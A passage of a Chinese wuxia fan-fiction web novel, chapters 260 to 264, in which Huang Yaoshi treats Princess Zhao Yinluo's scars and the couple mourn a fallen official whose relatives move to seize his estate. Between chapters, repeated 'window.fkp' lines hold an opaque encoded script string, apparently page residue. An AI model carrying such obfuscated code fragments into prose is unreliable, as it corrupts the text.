“粗鲁。” 又骂了自己一句,他认为,赵茵萝之所以这样拒绝自己,肯定是因为自己刚才的行为过于粗鲁,让她这般的急切的想逃离。 “姑丈,姑丈。” 陈子云正想离开,小荷从赵茵萝的房里跑了出来。 “小荷?” 陈子云此时有些不敢看这位赵茵萝的使者,生怕对方是被派来谴责自己的。 “姑丈,姑姑让我告诉你,请你等等她。” 小荷的话让陈子云一时间摸不到头脑。 “等她,等她什么?” 陈子云朝着赵茵萝的房间里看看,以为对方是想让他等她出来。 “小荷也不懂,姑姑只是说,她也会等着,让你也等等她。” 小荷歪着脑袋说着,显然她作为传话筒也是困惑的很。 …… 隔天,陈子云闲来无事,就往曲三的酒铺子里跑。一来是有些不敢面对将情感弄的有些尴尬的赵茵萝,二来毕竟黄药师是自己请来给赵茵萝治伤的,作为东道,自然也不该冷落了客人。 下棋聊天,赏月喝酒,等酒劲够了,就相互发泄一些对于古人,对于时事的不满于批判。 虽然陈子云自问在才学方面确实是不如黄药师,可这也不耽误他们一起捉着一个古人的的破落处一起骂娘。 哈哈,其实再聪慧的人,偶尔也是喜欢干一些愚蠢事情的。 而且陈子云也发现了,只要旁边有小黄蓉在,那就不用担心黄药师会因为与自己意见不一而当场发飙。 就算是因为陈子云再三的悔棋已经气得快捏碎了手中的棋子,黄药师依旧按捺着自己的性子。 “猪猪……猪猪……” 这是小黄蓉新学会的一个词,本意是要叫陈子云叔叔的,可是这还没有几颗牙齿的小嘴说出的话有如何能标准。 况且,黄药师在听到自己宝贝闺女这般称呼陈子云后,也是大笑三声,感叹自己女儿果然与自己心意相通,以这种方式给自己报仇。 竟然也不主动纠正这可鄙的错误称呼,还鼓励着小黄蓉要多叫人,以示对陈子云这位叔叔的喜欢。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十章 小黄蓉的误会 所以当陈子云跟黄药师在院中举杯邀月共饮的时候,就出现了这样的场景。 黄药师喝了一杯酒,就用特制的糕点喂小黄蓉,让她叫陈子云叔叔。 而陈子云听到那一声声“猪猪”后,就只能再拿一块糕点,竭力的纠正小黄蓉的发音,让她叫“叔叔”。 黄药师这晚上的酒兴自然是格外的好,甚至连桌上的珍馐美味都没怎么碰,就着自己女儿的一声声“猪猪”就喝下了大半坛子酒了。 可黄药师的笑声终究还是停歇了,他与陈子云几乎是同时看向酒铺的门口,有人来了。 这自然是有些不正常的,自从黄药师占了曲三的酒铺,这里早就不营业了。 想必任谁也无法想想象,东邪黄药师会一手拿着玉箫,一手给人端着菜盘子上菜的场面吧。 可看到出现的人物的衣着时,他们就不了然了。 “子云兄,嫂夫人这是来催你回家了,哈哈。” 黄药师要不是在兴奋头上,是万万不会说出这般有些莽撞的话的。 陈子云摸摸鼻子,他也以为是自己这些天都有些躲着赵茵萝,所以让对方感觉到不满了,这是来找自己兴师问罪来了。 “黄岛主,这些天怠慢你跟令千金了。” 赵茵萝先是给黄药师赔了个礼。 黄药师没有回话,只是抬抬手,抱拳回礼。他可不会是说那些假惺惺的客套话,在他的眼里对错是分明的,只是也要看自己计不计较。 既然自己是为了还陈子云的大人请才来这里的,那不管赵茵萝如何对他,招待的周不周到,都不会影响他要给对方治伤的事情。 所以就算赵茵萝这般郑重其事的道歉,他也坦然接受,但是绝不会改变自己的行事风格。 “茵萝……” 陈子云刚开口就被赵茵萝打断了。 “子云师傅,这次我不是来找你的,而是上次见了黄岛主的这位千金,一直甚是想念,所以趁着夜色想来看看,事先并不知你也在此。” 赵茵萝的语气很是平稳,让陈子云也看不出对方是不是在找托词而已。 “黄岛主,我可以抱抱……” “蓉儿。” 黄药师主动介绍道。 “蓉儿,好美的名字。” 赵茵萝缓缓的靠近,又担心自己这样子会吓到小黄蓉。 小黄蓉本来还在专心致志的对付着自己爹爹跟叔叔给的糕点,突然感觉面前的月光好像被挡住了,让她有些不舒服。 小黄蓉抬起头,看见一个黑不隆冬的东西正在靠近自己,浑身乌黑,只有那黑布中间有两个透着光的孔洞。 小黄蓉错愕的睁大了眼睛,一时不知道该如何反应。 “地地……” 小黄蓉本能的像找自己父亲帮忙。 赵茵萝见此,心里像是被什么戳了一下,连忙转过身,以免自己再吓着小黄蓉。 可同时眼泪也不自觉的往下趟,要是换做是成人,她还能安慰自己说是对方的偏见,可小黄蓉这样的孩子是最纯真的时候,连她都厌恶自己,那自己可想见是多么的吓人。 陈子云也连忙起身,就要上前去安慰赵茵萝受到的打击。 “咩咩……咩咩……” 这一声明显是模糊的妈妈,让在场的三个大人都瞬间错愕不已。 “蓉儿,不可。” 黄药师当然是第一个阻止的,小黄蓉这样叫,让他如何能不尴尬。 可小黄蓉此时就像是着了魔似的,将手里的美味糕点都丢了,一个劲的伸手往赵茵萝那边挪动着。 陈子云也惊奇不已的在赵茵萝跟小黄蓉两人身上探望,一时也弄不懂,怎么会产生这样的误会。 而赵茵萝在听明白小黄蓉是在叫她的时候,整个人再也忍不住了,直接转身一把将她抱在自己怀里。 “乖宝宝,乖蓉儿。” 赵茵萝虽然依旧是个黄花闺女,可她感觉自己体内的母性的情怀已经被小黄蓉的那两声呼唤给彻底激发出来了。 这种情感,这种来自所有女性本能中的力量,让她爱死了这个小宝贝。 从小就在韩皇后的无微不至的照顾下长大的赵茵萝,比任何初为人母的女子都清楚,一个母亲的伟大与无私的付出。 本来不曾亲近过任何一个小孩的赵茵萝,却能熟练的在怀里哄着急切呼唤着妈妈的小黄蓉。 连一旁站着的黄药师,这个真正的父亲,也是纳闷,本来就被自己宠坏了的小家伙,怎么会对赵茵萝这个不过是第二次见面的陌生人这样的依赖,甚至都隐隐有了些嫉妒。 那是一个至亲,看到自己的宝贝的依恋被夺走的不满,任何一种感情,一旦被别人分享,那么这份感情就不再纯粹了。 两个有些发愣的男人,就这么在今天纯白的月色下,看着一个不曾为人母的女子,哼着莫名的呓语之曲,将怀里的小家伙渐渐的哄的睡了过去。 都不用黄药师指引,赵茵萝就自觉的抱着睡着了的小黄蓉往屋里去。 陈子云拦下了,怕赵茵萝找不到小黄蓉睡铺而想去指路的黄药师,拉着他,又给他满上了一杯酒。 带着碗里的月光,陈子云笑着与黄药师碰杯,将碗中荡起了波涛的月色一口吞下。 “好香醇的……月光啊。” …… 自从这天以后,赵茵萝一到晚上,等村子里的村民基本都安歇了,自己便来到黄药师的酒铺子。也不用谁招待,自然就有喜欢叫自己“咩咩”的小家伙,迈着刚学会的还不稳健的小步伐来迎接自己。 黄药师虽然有些吃味,但是在陈子云的劝说下也就只能捏着鼻子默认了。 有时候赵茵萝还会带着小荷跟两只白狐一起来,小荷自然是喜欢这个可爱的小小人儿的。两只小家伙则是在小黄蓉的身上左嗅嗅右嗅嗅,惹得下黄蓉被狐狸毛蹭的呵呵发笑。 就要伸出小手去捉这两个毛绒绒的小伙伴,似乎想知道对方怎么长的跟别人不同。 机灵的小白自然是一溜烟的就躲开了,小黄则是自愿忍受着这还沾了些糕点碎屑的小手在它身上乱摸一通。 等小黄蓉抱也抱了,摸也摸了,看着小黄那无动于衷的样子,也就失去了继续折腾的意思。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十一章 准备 小黄自顾自的抖抖毛,将沾染上的一些碎屑抖落,又仔细的用自己的舌头将毛发梳理一遍,冷峻的就像是个狐狸中的贵族。 “子云兄,这两只小东西,就是当初在华山上你救下的两只雪狐吧。” 黄药师也是想起了这两只狐狸的来历。 “不错,小黄是哥哥,小白是妹妹。” 陈子云颔首指指两个小东西道。 “呵呵呵,这名字……” 黄药师也是被陈子云说出的这么随意的称呼给逗笑了。 “倒是让黄岛主见笑了,当初为了这件事,茵萝还跟子云师傅争论了一场。可惜这两个小东西似乎就因为第一眼见到的是他,就浑然不受我取的名字了。” 赵茵萝已经安置好了小黄蓉,又从屋里出来了。 “自古,越是有灵性的东西就越发会自己选择偏好,就跟人一样,有一眼看着就有缘的,有些却是第一眼见了就不想再见的。 就好比蓉儿如此的对你,也好比子云兄与我每次一见就要拳脚相向,哈哈哈。” 黄药师也难得的开起了玩笑,可见他此时的心情是着实不错的。 赵茵萝坐在了陈子云先前坐过的位置,拿起那还有半碗桃花酿酒碗,直接一口饮下。 “茵萝,这酒……” 陈子云本想提醒,这桃花酿虽然味道醇厚,却是后劲十足,她一个向来不怎么喝酒的女子,不合适这样的狂饮。 可随即,他就看到赵茵萝将自己的右手手腕摆在了黄药师的面前,就像是一个老病人让自己的医师看病时那般的熟练,自然。 剩下的话自然就被陈子云吞进了肚子里,只是注视着这突然发生的场景。 月色下本来虫鸣已经开始繁杂的夜,突然间就安静了,好像就跟此时的两小只一样,都在安静的注视着赵茵萝。 黄药师也不废话,直接将自己的三根手指搭在赵茵萝的手腕上,细细的感知着她的脉象。 黄药师看过的病不少,可却是第一次如此的仔细,如此的凝重,似乎面前的赵茵萝会是个随时都有可能离世的绝症患者。 这一次把脉也是黄药师最长时间的一次,当他皱着眉头收手的时候,陈子云的心都快从胸腔里跳出来了。 “如何?” 陈子云差点就把手里还捏着的筷子给搓碎了。 “嫂夫人……” 黄药师神情凝重的说道。 这一声不但陈子云差点被急的跳脚,连本来喝了酒来壮胆的赵茵萝也吓的够呛。 “能否到屋里脱去衣物,让黄某检查一番。” 黄药师虽然不尊礼教,但这起码的男女之防终究还是有的,何况陈子云这个做丈夫的还在一旁,他能如此坦然的讲出来已经不容易了。 赵茵萝羞涩的差点就要临阵脱逃,陈子云却在她背后,将握在她的肩膀上,神情坚定的鼓励着她。 赵茵萝随着黄药师进入了里屋,步伐很快,似乎她也在担心,自己要是一个犹豫,这好不容易鼓起的勇气,就要随着酒劲一起没了。 陈子云安抚着似乎也察觉到了赵茵萝异常而惶惶不安的两只小狐狸,将它们都搂在自己的怀里,从桌上挑选了些他们能吃的菜肴给他们。 而陈子云自己,则是将那还有剩下的小半坛桃花酿直接送进了自己肚子里,绝没有半点那种我喝一半衣襟喝一半的豪放派的浪费。 他可是完全在指望着,这些酒精能将自己忐忑不安的神经给压服下去呢。 一刻钟,还是一个时辰,陈子云完全没法确定,他只知道当看到赵茵萝重新出来的时候,他今晚喝下的那些酒,似乎都已经变成了汗。 小黄、小白直接围了上去,一个个的用粗大的尾巴轻轻抚着赵茵萝的裤脚,嘴里还发出嘤嘤的叫唤。 赵茵萝本来不知道是因为害羞还是担忧而泛红的脸,在抱起小白的时候,也露出了些许笑容。 这让陈子云凝重的心放下了不少,随即看向随后跟着一起出来的黄药师。 “如……何?” 陈子云有些不安的问道。 “还是延误太久了。” 黄药师冷静的说道。 “连你也没办法吗?” 陈子云还是不肯接受这样的事实,想到赵茵萝要这样穿着头套过一辈子,如何能接受。 “我黄药师虽然自负,但也不是神仙。” 黄药师瞥了陈子云一眼,接着说道。 “伤势浅的到还好,可嫂夫人后背跟脖颈上本来就有被兵刃所伤的痕迹,加上烧伤。 当时又没有妥善的处理,导致伤口愈合后,反而加重的疤痕,要完全恢复原貌,却是难了。” “只是背上跟脖颈?那别的地方呢?” 陈子云两眼放光,好似听到了什么天大的好消息。 “自然是可治的,不过费些时日,加上嫂夫人要再受点委屈。” 黄药师皱着眉头说道,似乎还在思索有没有更好的治疗方案。 “黄岛主费心了,茵萝此时哪里还会怕什么委屈的。” 赵茵萝道。 “好啊,好,药师兄,只要你能医好茵萝,陈某对桃花岛无有不应。” 陈子云正襟抱拳下拜致谢道。 “子云兄给的已经够多了。往后三个月,嫂夫人就搬到此处来吧,从医药到饮食甚至每日的饮水,都由黄某来负责。” 黄药师一边挥手拒绝来陈子云的好意,一边吩咐道。 “这会不会太麻烦药师兄来,还是请药师兄去府上吧,有些事情也好让仆人打下手。” 陈子云道。 “不可,这三个月治疗过程,纷繁复杂,必须要我亲自操持才能放心,尤其是在第二个月末。 我估计到时候嫂夫人会经历一次换皮之疼,一般人根本无法忍受,要是看护不好就必然前功尽弃。” 黄药师严肃的道。 “换皮?” 陈子云愕然的看向赵茵萝,对方明显也是非常吃惊,这毕竟蛇虫能换皮,哪里有听说过人还能换皮的。 “其中道理不是黄某一两句能解释的,要是子云兄得空,不如也一起搬来吧。不过这里到底小来些,子云兄若是也住进来,那倒是还要在一旁搭个草庐。” 黄药师指着酒铺院落外的空地说道。 “自然是要来的。” 陈子云道,别说是搭个茅庐,只要黄药师能治好赵茵萝,就算是建个公主别院又如何。 …… window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十二章 治伤 第二天,正要上地里干活的牛家村村民,看到陈子云正在指挥着仆人在酒铺旁边盖房子,二话不说直接就撂下农具,自发的上前帮忙了。 本来他们这样的村落里,有谁家要盖房子,都是靠村子里的人帮忙的。最多也就木匠师傅会收点费用,铁匠再卖点钉子,至于其他的人工,就最多是一顿午饭的事情。 在农村,最不值钱的,也是他们最大的本钱就是劳力了,在他们看来反正睡一觉就能回来的东西。 陈子云也索性乘着这个机会,通告牛家村的村民,自己要在着曲三酒铺闭门读书三个月,请各位村民暂时不要靠近。 至于私塾的教书先生,陈子云已经安排了人接替自己。 牛家村的村民虽然不理解,为什么陈大善人不在自己的大宅子里读书,偏偏要跑到这里建个茅屋,最后也就只能归结到富贵人家的特殊癖好了。 反正有了陈子云的提前招呼,牛家村曲三酒铺就成了闲人免入的禁地。 而当陈子云亲自进宫将这个好消息带给韩皇后的时候,这位因为赵茵萝的伤势终日茶饭不思的母亲,终于露出了喜色,还特意嘱咐了御厨准备菜肴,留着陈子云一起吃了一顿午饭。 而宋宁宗的反应明显就不同了,虽然也透露了些喜色,可似乎有一种挥不去的担忧沉积在眉宇之间。 “茵萝没事了,那就好,那就好啊!” 宋宁宗有些疲惫的说着。 “说没事还早,只是找到了治疗的方法。” 陈子云道。 “嗯,那也不错,等茵萝康复了,朕要好好赏赐这位黄医师。” 宋宁宗说这话的时候,眼神似乎有些飘忽。 “陛下,黄药师这个人,虽然才学无双,却是最受不得礼教束缚,将世俗的生活看成是凡人的牢笼,所以……” 陈子云解释道。 “哦……” 宋宁宗意味深长的叹息了一声。 “听说这位黄岛主是子云亲自远赴海外请回来的,子云能请得,却不给朕面子,这位奇人还真当是特立独行呢!” 宋宁宗缓缓说着。 陈子云看了一眼神色有些不对的宋宁宗,赵令的面孔瞬间在脑海里浮现,看来肯定是这个家伙,添油加醋的在宋宁宗这位老丈人面前说了什么。 要不然这位岳丈大人,不至于放着自己的宝贝女儿不关心,却在意起一个闲云野鹤的外人。 陈子云也没有再跟宋宁宗争辩什么,此时他的心思也完全在牛家村的酒铺里,其他的一切就等三个月之后再说吧。 …… 前面半个月,黄药师一直在配置药方,根据观察到的赵茵萝身体对于药物的反应,随时调整药方跟用量。 其实这就是中医的严谨,在中医里是没有所谓的一副药材治百病的说法的。不说同一病症,不同人的反应不同。 男女老少对于中药的耐受,反应也不一样。除非是那种散热驱寒的表征,才可以靠着祖传秘方,马虎的医治。 可实际上,对于讲究是药三分毒的中药,也难免会给不小心用药过量的病人留下一些不能肉眼可见的隐患。 对于黄药师这样的精益求精的人来说,显然这样马虎的治疗效果不是他追求的。 所以每一位药材的药性,药量,他都要控制到分毫不。,在能给赵茵萝最合适药量的同时,也要尽可能考虑到最终积累的效果,以免在最后的蜕变关头出现预料之外的情况。 如今在这曲三酒铺里的,就黄药师父女,陈子云夫妇,加上一个来做一些不方便男士做的工作的盲女小荷。 当然,有时候两只小狐狸也会来看看他们在这里躲起来的主人,偶尔还会带着那只刚来陈府的大水牛老黑。 至于府上其他的仆人,则是被陈子云明令禁止靠近的,以免打扰到黄药师的治疗。 陈子云刚开始的时候会负责煎药,偶尔也会根据自己的经验提出一些问题或者建议。 等黄药师不胜其烦的时候,陈子云就被打发去厨房负责做菜了。 赵茵萝当时还打趣,陈子云这一做饭,整个伙食的水准下降了不知多少。 在一个半月以后,赵茵萝开始明显的感受到一种难以遏制的瘙痒,就像是从骨头里渗出来的,自己的手总是忍不住要去那个地方蹭几下。 最开始感觉到的时候,黄药师只是告诫一番,让赵茵萝千万忍着,而到了后面,直接就带着陈子云将赵茵萝绑缚在了床上。 这让一旁照料赵茵萝的小荷很是不解,甚至还想阻止他们这么粗暴的对待赵茵萝。 还是赵茵萝自己开口劝说,她也明白靠自己的意志力是无法忍受这样的痛痒而不动手的。 可即使这样,虽然他们绑住了赵茵萝的四肢,可她挣扎的时候,依旧蹭破了脖颈以及各处关节所在的地方。 这也是没办法,蛇蜕皮的时候,还要找个能卡住蛇蜕的地方使劲蹭呢,赵茵萝这几天下来也就跟蛇蜕皮没什么区别了,哪里都觉得奇痒难忍,哪里都想蹭一蹭。 “嗯,啊……额啊……” 到了最后几天,赵茵萝基本什么东西都吃不下了,连喝水都是陈子云直接强行掰着她的头罐下去的。 更别说什么固体食物了,就算再饿,陈子云也没胆子在这样不稳定的情况下,给她喂食,说不好就直接卡进气管里了。 这样的代价,就是肉眼可见的看着本来就没什么肉的赵茵萝越发的消瘦了,要不是黄药师在药方里加了一些补气血的药材,陈子云都快看不下去了。 盲女小荷更是在一旁哇哇大哭,她敏感的知觉比陈子云他们更能感受到赵茵萝此时的痛苦。 到了最后的关键,赵茵萝却是已经完全的没有了力气,在最该用力的时候,反倒是没有了动静。 黄药师当机立断,直接抄起本来就准备着的用来以防万一的相思小刀,直接动手割开了赵茵萝的衣物,他要帮赵茵萝手动蜕皮。 可就算如黄药师这般人物,在动手之前还是询问了陈子云的意见。当陈子云亲自上前用手帕遮住赵茵萝已经无力的双眼,亲自解开她的第一颗扣子后,黄药师才最终动手。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十三章 破茧 仿佛破茧成蝶一般,一个比初生婴儿还要粉嫩的肉体,慢慢的在黄药师的刀下诞生。 如果不看因为赵茵萝自己用力磨蹭出来的血渍,跟那脖颈上与背部的两条褶皱般的疤痕,陈子云几乎不敢相信,这就是赵茵萝已经几乎三个月不曾见人的身体。 陈子云抱着这具弹指可破的身躯,放入了黄药师早就准备好的药液里。 人类终究不是蛇虫,没有那种褪完皮就能活动自如的天赋。赵茵萝的这次蜕皮,是黄药师用精心配置的药物催生出来的。 而这样的催生,终究是会伤害本身的,就算是吃再多的滋补药材,也抵消不了身体不符合常理的消耗。 而这次的药浴,也不过是为了保护新生的这层宝贵的皮肤能够尽快的适应外界的环境的侵蚀而已。 而且后面的半个月,赵茵萝也依旧无法正常的进食,只能靠着药浴加上一些清淡到不能再清单的饮食维持,而且必须严格的控制水分的摄入。 因为一旦赵茵萝这脆弱的不能再脆弱的皮肤出汗,那种痛苦就跟把伤口泡进盐水中一样。 这三个月下来,不说最劳心劳力的黄药师,就是打下手的陈子云,以及负责照顾赵茵萝起居的小荷都肉眼可见的憔悴了不少。 唯一依旧笑容不改的,也就是那位还不知世事的小黄蓉了。如今的她正在长牙,不管碰到什么都想着用自己发痒的小嘴咬一咬。 不管是桌椅,还是偶尔来串门的狐狸尾巴,都没有逃过她的恶口。 当赵茵萝的肌肤终于不再是薄如蝉翼,不再能清晰的看见皮下的血管,在这曲三酒馆的所有人都松了一口气。 “子云师傅,你别这样看着我。” 赵茵萝吃下陈子云喂过来的一口白粥,有些害羞的说道。 其实她早就迫不及待的让小荷拿来镜子,看过来如今自己的样子。虽然自己的五官没有变换,但是那真正的吹弹可破,如玉如翠的皮肤,如何能不让她惊喜莫名。 作为一个女人,作为一个从小就病灶不断的女人,要说脸色皮肤有多好,那也不过是病态的苍白。 只有自己知道自己脸上最细微的瑕疵,这是每个女人对自己最满意也永远不可能满足的地方。 如今,自己这张脸,已经算是变换到除了不可更改之外所有的最优解了。 当然赵茵萝第一次出门的时候,穿的是最柔和的护肤的蚕丝轻纱,脸上也依旧个带着遮光的脸罩。 在韩皇后激动的想要扑过来的时候,赵茵萝也只好伸手拦下自己这位又因为替自己担心,而消瘦了许多的娘娘。 “妞妞啊。” 所有的思念、担心、疼惜、怜爱都包含在了这一声呼唤里。 “娘娘。” 赵茵萝还之以最深情。 陈子云跟宋宁宗两个大男人,也就只能各自站在自己妻子的旁边,安慰着两人不要如此动情,以免伤身。 …… 这一天赵茵萝自然是要留在皇宫里的,要不然这位皇后娘娘说不得就要搬到牛家村里来了。 就算是宋宁宗不许,她恐怕也会难得的违抗一次圣意,要跟这位差点又一次离开自己的女儿温存。 陈子云回去后,拉着同样疲惫不堪的黄药师好好的又喝了一顿酒,虽然喝的不多,可陈子云却是意外的很快就醉了。 与前几次的借酒消愁不同,这次却是酒不醉人人自醉了,心头最重的胆子一扫而空,陈子云甚至生出了想再游一趟天下四国的年头,好一吐这些时间来积累的烦闷。 当陈子云第二天从床上醒来,感觉有人在替自己擦拭,本能的反应一把抓住了对方的手腕,一种柔弱非常的触感。 “茵萝?” 陈子云在迷糊中惊醒,晃悠着还有些胀痛的脑袋,昨天已经忘记喝了多少酒了。 “我自己来吧。” 陈子云想去接过赵茵萝手里的毛巾,却被对方躲开了。 “我来。” 赵茵萝语气并不重,却异常的坚定。 温润的毛巾敷在陈子云的脸上,让他舒服不已。其实赵茵萝只是简单的替他擦拭而已,作为一个自己都靠人服侍的公主,她本来就不知道如何伺候别人。 只是这种亲近之人的温暖动作,也绝对不能用实用这种概念来衡量的。 有道是:有情饮水饱,无情食饭饥。 当陈子云看到赵茵萝如此认真的替自己擦拭的模样,温度早就透露毛巾渗透进心里了。 “黄岛主也是的,为何要让你喝这么多酒。” 赵茵萝有些埋怨的道。 “哈哈哈,茵萝人家可是刚帮了我们天大的忙,你这可有些过河拆桥了。” 陈子云笑道。 “这哪里是可以放在一起论的。” 赵茵萝把毛巾放在脸盆里洗了洗。 “好了,我差不多清醒了。” 陈子云阻止了赵茵萝继续的动作。 “怎么不在宫里多陪陪皇后,这么早就回来?” “早,子云师傅怕是真睡糊涂了,已经是午时将近了,哪里还早。” 赵茵萝依旧带着面纱的脸,表情生动的翻了一个白眼。 “午时了?” 陈子云往窗外望望,原来是阴天,没什么光亮,他还以为是太阳出来没多久的清晨呢。 “子云师傅,用完午餐,陪茵萝去一趟王大人府上吧。” 赵茵萝神情有些低落的说道。 “好。” 陈子云点点头,他自然明白赵茵萝的意思。当初王道乾本来可以不死的,却为了计划的万无一失,慷慨赴死,而赵茵萝也因此冒天大的风险跳入翁城。虽然没有最终救下人,可两人恐怕也因此结下了深厚的联系。 而且陈子云甚至猜想,在赵茵萝潜伏在大散关的那些时间里,说不定早就跟王道乾沟通过。 甚至还可能因为王道乾的不听劝告而跟对方争论过,所以才会在当时那么危险的情况下,还明知不可为而为之。 要不是被王道乾的为国牺牲的情怀折服,赵茵萝也不是那种见不得人死的圣母。 要不是赵茵萝自己也身受重伤,甚至感觉自己是无脸见人,说不得回到临安的第一时间就去王府探望了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百六十四章 吊唁 赵茵萝跟陈子云两人轻车简行,来到了依旧挂着白事仪仗的王府门口,一个年纪不小的门房孤零零的维持着当时车架不息的府门的虚假繁华。 那佝偻的身子,强撑着依靠在朱漆大门上,像是在为连个完整的尸身都没留下的主人家维持着体面。 “有客到……” 当陈子云两人靠近,那喑哑的喉咙里喊出了一句明显带着地方口音的呼喝。 “客人请通名……” 老人的胸膛硬挺着,嶙峋的脊骨连那身宽松的衣服也遮不住了。 赵茵萝先是对着这位老人家微微一欠身,随即又退后一步,对着王府的大门躬身下拜,一句朗朗之声从口中而出。 “大宋……当朝长公主,赵茵萝……前来吊唁为国英杰王道乾,王大人。” 陈子云见赵茵萝如此,自然也是跟着行了一个礼。 “大宋长公主驸马,轻车都尉,前来吊唁。” 那看门的老人先是瞪大了眼睛,似乎在确认是不是有人在戏耍自己,可当他看明白这两个年轻人身上那不可直视的威严的时候,眼泪不由自主的夺眶而出。 “迎……客……” 这一声带着老汉乡音的呼喊,也带着自从自己家主人亡故后,老汉看到的门庭变化,体会到的世间人情的冷暖。 良久,一身素服的王夫人迎了出来。 “拜见公主,驸马爷。” 赵茵萝上去扶住了王夫人的行礼。 “夫人,我们也是见过的,就不必虚礼了。我今天带着外子来,就是想吊唁一番王大人的英灵。” “多谢公主与驸马爷惦念,里面请。” 王夫人脸上到没有什么激动的神色,一切都跟她身上的素服一样,淡淡的,似乎这俗世间已经没有了什么可以让她动容的东西。 来到了摆在客厅里的灵堂,很是简单,如今也过了百日了,就立着一块简单的乌木牌位,以及周边还装饰着一圈白花。 王夫人先是给赵茵萝两人拿来了香烛,让他们祭拜了一番。 “王大人,昔日大散关一见,如今却是这般的再相见。天人相隔,还望大人好好看着这大宋的天下,茵萝必定不负当时的承诺。” 赵茵萝朝着灵位恭敬三拜,才将香火插入香炉。 “谢公主殿下。” 王夫人在一边答谢回礼。 “夫人,按在下看来,这王府似乎与年前大为不同了。” 陈子云一进门就留意到了这宅子内的变化。 “驸马也说的是那些华贵的物件吧?” 王夫人浅笑了一声。 “本来就不是属于这里的东西,我那老头子也总是看不惯。以前是没办法,说是为了他的谋划,那些是必不可少的道具。 如今事事皆了,我也不想让他这般模样了,还住在自己不喜欢的屋子里,索性就都不留着了。“ “那几位姨太太呢?” 赵茵萝也发现了这冷清至极的王府,跟她上次来的时候,那种闹哄哄的模样可是天差地别。 “愿意走的,我都给些钱财都打发走了,就剩下一个,说是非要给我留下来当丫头。 哎,我想门房的老宗家年纪也不小了,房子里我自己的贴身丫鬟也就一个,这么大的屋子总归要有人帮忙,所以就留下了她。 不过公主怕是认不出来了,刚才那位进来送茶的就是了。” 王夫人道。 “那……” 赵茵萝本想脱口而出,朝廷是如何赏赐,恩泽这位牺牲性命护卫国家的忠臣的。 可稍微一想就明白,就算是给再多的荣誉头衔,再多的赏赐又如何。如今这王府,就王夫人一个妇道人家,再多的财富又有何用。 或者说,要如何守得住。 在如今的文化氛围中,一个家里没了顶梁柱的男人,并且还没有留下子女,那这个家就已经名存实亡了。 但凡有些想占便宜的宗族,有的是办法从这位没有给王道乾留下后代的寡妇手里将这些遗产抢过来。 而且这种事情,就算是告倒官府也是同样没有办法,这个时代终究是把女人依旧看成是男人财产的时代,是没有什么主权可以讲的。 而刚才王夫人之所以说的那么轻松,什么是王道乾不喜欢那些奢华的装饰,大概率是被那些打着吊唁的名义来到宗亲给顺手牵羊的拿走了。 这还是因为王道乾为国捐躯的名头还在,他们不敢明目张胆的来,恐怕要不了多久,这栋府宅大院说不得就要被他们鸠占鹊巢了。 “公主不必为妾身挂怀,如今老爷不在了,妾身向来对衣食不挑剔,哪里都活的下去。 记得出嫁前,我那老父亲还亲手教过我耕稼,就怕嫁给当时还一文不名的老爷吃不饱穿不好。 前些年也确实如此,宗族里发的粮食还不够老爷一人的用度,只好自己挖些野菜,找些野谷子拌合着吃。 那时候啊……” 王夫人的思绪似乎被拉回了久远的过去,赵茵萝却是认认真真的听着。在这这个空旷的大宅子里,朴素的灵堂前,一老一少,似乎有讲不完,听不尽的话。 “你们不能进去。” “老头子,看你年纪大,才叫你一声叔公,你不过是个旁支的,要是你再不知道好歹,护着这个外姓人,可别怪我们不尊老。” “呼哈……呼……你们这些忘恩负义的东西,吃完主人家的就忘,老爷在的时候,当初是怎么关照你们的,如今……” “哼,二伯关照我们这后辈子侄本来就是应当的,我们也感恩他的大德,所以才更要来帮二伯守好这份家业。 如今那外姓人连个子嗣都没有给二伯留下,难道她还有理占着二伯的遗产不成,天底下没有这样的规矩,不说祖宗家法,就算是王法也不是这么个理。” “不错,我们就是来说收回宗族家产的。” “就是,外姓人怎么能拿着族产不放。” “叔公你放心,我们会给她一些银两,够她安稳生活的,您就别做这些费力不讨好的事情了。” “……” 院子外熙熙攘攘的声音早就传入了陈子云的跟赵茵萝灵敏的耳朵里,王夫人则是不知道门外发生了什么,只觉得有些吵闹,但是碍于要陈子云跟赵茵萝的尊贵身份,她也不好中途离去。 window.fkp = 